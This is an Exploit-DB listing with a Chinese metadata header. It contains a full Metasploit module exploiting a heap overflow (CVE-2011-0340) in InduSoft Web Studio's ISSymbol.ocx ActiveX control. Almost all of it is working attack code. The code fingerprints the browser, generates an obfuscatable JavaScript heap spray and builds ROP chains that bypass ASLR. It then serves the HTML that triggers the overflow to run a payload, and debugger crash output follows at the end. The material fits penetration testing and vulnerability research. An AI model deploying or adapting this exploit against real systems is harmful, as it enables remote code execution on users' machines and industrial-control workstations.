标题: InduSoft Web Studio - 'ISSymbol.ocx InternationalSeparator()' Heap Overflow (Metasploit) EDB-ID: 23500 CVE: 2011-0340 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::RopDb
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "9.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :rank       => NormalRanking,
  :classid    => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
  :method     => "InternationalSeparator"
 })


 def initialize(info={})
  super(update_info(info,
   'Name'           => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
   'Description'    => %q{
    This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
    SP6. The overflow exists in the ISSymbol.ocx,  and can be triggered with a long
    string argument for the InternationalSeparator() method of the ISSymbol control.
    This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alexander Gavrun', # Vulnerability discovery
     'Dmitriy Pletnev', # Vulnerability discovery
     'James Fitts', # Metasploit module
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2011-0340' ],
     [ 'OSVDB', '72865' ],
     [ 'BID', '47596' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
     [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
    ],
   'Payload'        =>
    {
     'Space'            => 934,
     'DisableNops'      => true,
     'PrependEncoder'   => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
     [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
     [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
     [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
     [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
     [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
     [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fe' } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 28 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class)

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
   os_name = 'Windows XP SP3'
  when '6.0'
   os_name = 'Windows Vista'
  when '6.1'
   os_name = 'Windows 7'
  end

  targets.each do |t|
   if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end

 def ie_heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

  # Land the payload at 0x0c0c0c0c
  case my_target
  when targets[7]
   # IE 9 on Windows 7
   js = %Q|
   function randomblock(blocksize)
   {
    var theblock = "";
    for (var i = 0; i < blocksize; i++)
    {
     theblock += Math.floor(Math.random()*90)+10;
    }
    return theblock;
   }

   function tounescape(block)
   {
    var blocklen = block.length;
    var unescapestr = "";
    for (var i = 0; i < blocklen-1; i=i+4)
    {
     unescapestr += "%u" + block.substring(i,i+4);
    }
    return unescapestr;
   }

   var heap_obj = new heapLib.ie(0x10000);
   var code = unescape("#{js_code}");
   var nops = unescape("#{js_random_nops}");
   while (nops.length < 0x80000) nops += nops;
   var offset_length = #{my_target['Offset']};
   for (var i=0; i < 0x1000; i++) {
    var padding = unescape(tounescape(randomblock(0x1000)));
    while (padding.length < 0x1000) padding+= padding;
    var junk_offset = padding.substring(0, offset_length);
    var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
    while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
    sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
    heap_obj.alloc(sprayblock);
   }
   |

  else
   # For IE 6, 7, 8
   js = %Q|
   var heap_obj = new heapLib.ie(0x20000);
   var code = unescape("#{js_code}");
   var nops = unescape("#{js_nops}");
   while (nops.length < 0x80000) nops += nops;
   var offset = nops.substring(0, #{my_target['Offset']});
   var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
   while (shellcode.length < 0x40000) shellcode += shellcode;
   var block = shellcode.substring(0, (0x80000-6)/2);
   heap_obj.gc();
   for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
   }
   var overflow = nops.substring(0, 10);
   |

  end

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  return js
 end

 def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  if t['Rop'].nil?
   prepend = [
    0x0c0c0c0c,
    0x0c0c0c0c,
    0x0c0c0c0c,
    0x0c0c0c0c,
    0x0c0c0c0c,
    0x0c0c0c0c,
    0x0c0c0c28 # Will finally become EIP
   ].pack("V*")
   return prepend + code
  end

  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
   print_status("Using msvcrt ROP")
   stack_pivot = [
    0x0c0c0c0c, # ret from msvcrt.dll
    0x77c15ed6, # ret from msvcrt.dll
    0x77c15ed6, # ret from msvcrt.dll
    0x77c15ed6, # ret from msvcrt.dll
    0x77c15ed6, # ret from msvcrt.dll
    0x77c1f519, # pop # ret from msvcrt.dll
    0x77c4fa1a  # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
   ].pack("V*")
   rop_payload = generate_rop_payload('msvcrt', code,  {'pivot'=>stack_pivot, 'target'=>'xp'})
  else
   print_status("Using JRE ROP")
   stack_pivot = [
    0x0c0c0c0c, # ret from msvcr71.dll
    0x7c376fff, # ret from msvcr71.dll
    0x7c376fff, # ret from msvcr71.dll
    0x7c376fff, # ret from msvcr71.dll
    0x7c376fff, # ret from msvcr71.dll
    0x7c376ffe, # pop # ret from msvcr71.dll
    0x7c376ffc  # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
   ].pack("V*")
   rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
  end

  return rop_payload
 end

 def load_exploit_html(my_target, cli)
  p  = get_payload(my_target, cli)
  js = ie_heap_spray(my_target, p)

  # ActiveX parameters
  clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
  name = rand_text_alpha(rand(50) + 1 )
  boom = Rex::Text.to_unescape("\x0c" * 6888)

  html = %Q|
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object classid='clsid:#{clsid}' id='#{name}'></object>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <script language='javascript'>
  #{name}.InternationalSeparator(unescape("#{boom}"));
  </script>
  </body></html>
  |

  return html
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
   print_error("Browser not supported, sending 404: #{agent}")
   send_not_found(cli)
   return
  end

  html = load_exploit_html(my_target, cli)
  html = html.gsub(/^\t\t/, '')
  print_status("Sending HTML...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

end

=begin
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]  ds:0023:336b4632=????????
0:000> u eip
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]
100127d4 8b5018          mov     edx,dword ptr [eax+18h]
100127d7 ffe2            jmp     edx
100127d9 cc              int     3
100127da cc              int     3
100127db cc              int     3
100127dc cc              int     3
100127dd cc              int     3

* ebx
$ ruby pattern_offset.rb 41306941  6888
[*] Exact match at offset 240

* ecx
$ ruby pattern_offset.rb 336b4632  6888
[*] Exact match at offset 4208

=end URL: https://www.exploit-db.com/exploits/23500